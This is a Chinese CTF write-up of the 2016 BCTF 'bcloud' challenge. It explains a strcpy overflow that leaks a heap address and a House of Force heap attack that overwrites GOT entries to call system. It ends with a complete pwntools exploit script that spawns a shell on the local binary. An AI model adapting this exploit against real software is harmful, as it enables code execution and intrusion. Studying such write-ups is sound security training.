2016 BCTF——bcloud

本文详细解析了House of Force漏洞,通过分析32位程序#HouseOfForce的init_bcloud函数,揭示了堆地址泄漏的过程。并利用house of force技术,控制内存分配,修改函数指针,最终获取shell权限。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

32位程序  #House Of Force

程序逻辑

 1 void __cdecl main()
 2 {
 3   setvbuf(stdin, 0, 2, 0);
 4   setvbuf(stdout, 0, 2, 0);
 5   setvbuf(stderr, 0, 2, 0);
 6   init_bcloud();
 7   while ( 1 )
 8   {
 9     switch ( menu() )
10     {
11       case 1:
12         new_note();
13         break;
14       case 2:
15         show_note();
16         break;
17       case 3:
18         edit_note();
19         break;
20       case 4:
21         delte_note();
22         break;
23       case 5:
24         syn();
25         break;
26       case 6:
27         quit();
28         return;
29       default:
30         other();
31         break;
32     }
33   }
34 }

init_bcloud函数中

s正好读入64位长度时,tmp指针会覆盖掉s末尾的\x0字符串终止符,strcpy以\x0为终止符,所以会将*(s)+tmp一起拷贝到tmp中,

info函数输出tmp内容,从而将tmp指针泄漏,即泄露了堆地址,为heap_base+0x8

 1 unsigned int init_name()
 2 {
 3   char s; // [esp+1Ch] [ebp-5Ch]
 4   char *tmp; // [esp+5Ch] [ebp-1Ch]
 5   unsigned int v3; // [esp+6Ch] [ebp-Ch]
 6 
 7   v3 = __readgsdword(0x14u);
 8   memset(&s, 0, 0x50u);
 9   puts("Input your name:");
10   read_str(&s, 64, '\n');
11   tmp = (char *)malloc(0x40u);
12   name = tmp;
13   strcpy(tmp, &s);
14   info(tmp);
15   return __readgsdword(0x14u) ^ v3;
16 }

init_org_host函数同理,会将*(s)+v2+*(host)一起拷贝到v2

当s读入64个字节时,v2的4个字节覆盖top_chunk的prev_size

host的前4个字节覆盖top_chunk的size

可以造成house of force

 1 unsigned int init_org_host()
 2 {
 3   char s; // [esp+1Ch] [ebp-9Ch]
 4   char *v2; // [esp+5Ch] [ebp-5Ch]
 5   char v3; // [esp+60h] [ebp-58h]
 6   char *v4; // [esp+A4h] [ebp-14h]
 7   unsigned int v5; // [esp+ACh] [ebp-Ch]
 8 
 9   v5 = __readgsdword(0x14u);
10   memset(&s, 0, 0x90u);
11   puts("Org:");
12   read_str(&s, 64, 10);
13   puts("Host:");
14   read_str(&v3, 64, 10);
15   v4 = (char *)malloc(0x40u);
16   v2 = (char *)malloc(0x40u);
17   org = v2;
18   host = v4;
19   strcpy(v4, &v3);
20   strcpy(v2, &s);
21   puts("OKay! Enjoy:)");
22   return __readgsdword(0x14u) ^ v5;
23 }

利用思路

 

  1. 利用初始化名字处的漏洞泄漏堆的基地址。
  2. 利用 house of force 将 top chunk 分配至全局的 0x0804B0A0 的 &notesize-8 处,当再次申请内存时,便返回 notesize 地址处的内存,从而我们就可以控制所有 note 的大小以及对应的地址了。
  3. 修改前三个 note 的大小为 16,并修改其指针为 free@got,atoi@got,atoi@got
  4. 将 free@got 修改为 puts@plt。
  5. 泄漏 atoi 地址。
  6. 再次修改另外一个 atoi got 项为 system 地址,从而拿到 shell。

expolit

 1 from pwn import *
 2 sh=process('./bcloud')
 3 elf=ELF('./bcloud')
 4 libc=ELF('/lib/i386-linux-gnu/libc.so.6')
 5 
 6 def add(size,content):
 7     sh.recvuntil('option--->>')
 8     sh.sendline('1')
 9     sh.recvuntil('Input the length of the note content:\n')
10     sh.sendline(str(size))
11     sh.recvuntil('Input the content:\n')
12     sh.sendline(content)
13 
14 def edit(idx,content):
15     sh.recvuntil('option--->>')
16     sh.sendline('3')
17     sh.recvuntil('Input the id:\n')
18     sh.sendline(str(idx))
19     sh.recvuntil('Input the new content:\n')
20     sh.sendline(content)
21 
22 def delete(idx):
23     sh.recvuntil('option--->>')
24     sh.sendline('4')
25     sh.recvuntil('Input the id:\n')
26     sh.sendline(str(idx))
27 
28 #leak ptr_name in heap
29 sh.sendafter('Input your name:\n','a'*64)
30 sh.recvuntil('Hey '+'a'*64)
31 heap_base=u32(sh.recv(4))-8
32 print 'heap_base: '+hex(heap_base)
33 
34 #top_chunk_size=0xffffffff
35 sh.sendafter('Org:\n','a'*64)
36 sh.sendlineafter('Host:\n',p32(0xffffffff))
37 
38 #top_chunk_adr -> notesize_adr
39 topchunk_adr=heap_base+(0x40+8)*3
40 notelist_adr=0x0804B120
41 notesize_adr=0x0804B0A0
42 target_adr=notesize_adr-8
43 off_target_adr=target_adr-topchunk_adr
44 malloc_size=off_target_adr-8
45 add(malloc_size-4,'')
46 
47 #notesize[0]=notesize[1]=notesize[2]=16
48 #notelist[0]=free_got notelist[1]=notelist[2]=atoi_got
49 payload=p32(16)*3
50 payload+=(notelist_adr-notesize_adr-12)*'a' 
51 payload+=p32(elf.got['free'])+p32(elf.got['atoi'])*2
52 add(1000,payload)
53 
54 #free_got->puts_plt
55 edit(0,p32(elf.plt['puts']))
56 
57 #leak atoi_adr
58 delete(1)
59 atoi_adr=u32(sh.recv(4))
60 libc_base=atoi_adr-libc.symbols['atoi']
61 print 'libc_base: '+hex(libc_base)
62 system_adr=libc_base+libc.symbols['system']
63 print 'system_adr: '+hex(system_adr)
64 
65 #atoi_got->system
66 edit(2,p32(system_adr))
67 sh.sendlineafter('option--->>','/bin/sh\x00')
68 sh.interactive()

 

转载于:https://www.cnblogs.com/pfcode/p/10761819.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值